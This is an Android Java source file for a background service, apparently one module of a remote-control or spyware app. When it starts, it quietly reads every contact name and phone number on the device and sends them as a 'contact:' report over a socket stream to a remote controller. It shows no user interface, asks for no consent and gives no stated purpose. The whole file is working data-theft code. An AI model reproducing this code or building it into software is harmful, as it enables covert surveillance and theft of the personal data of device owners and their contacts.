
package com.example.control.service;

import java.io.IOException;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.telephony.SmsManager;

import com.example.control.ConectParams;
import com.example.control.ControlIds;

public class ContactService extends Service {
    SmsManager manager = SmsManager.getDefault();

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public void onStart(Intent intent, int startId) {
        String[] columns = {
                "_id", "display_name", "has_phone_number"
        };
        StringBuffer sb = new StringBuffer();
        ContentResolver cr = this.getContentResolver();
        Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, columns, null, null, null);
        String[] phone_clos = {
                ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
                ContactsContract.CommonDataKinds.Phone.NUMBER,
        };
        if (cursor.moveToFirst()) {
            do {
                int _id = cursor.getInt(0);
                String name = cursor.getString(1);
                String has_phone = cursor.getString(2);
                sb.append(name + ":");

                if (has_phone.trim().equals("1")) {
                    Cursor phones = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                            phone_clos, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "="
                                    + _id, null, null);
                    if (phones.moveToFirst()) {
                        do {
                            sb.append(phones.getString(1) + ".");
                        } while (phones.moveToNext());
                    }
                }
            } while (cursor.moveToNext());
        }
        try {
            ConectParams.sDataOut.writeInt(ControlIds.REPORT);
            ConectParams.sDataOut.writeUTF("contact:"+sb.toString());
            cursor.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        stopSelf();
        super.onStart(intent, startId);
    }

    @Override
    public void onDestroy() {
        // TODO Auto-generated method stub
        super.onDestroy();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public boolean onUnbind(Intent intent) {
        // TODO Auto-generated method stub
        return super.onUnbind(intent);
    }

}
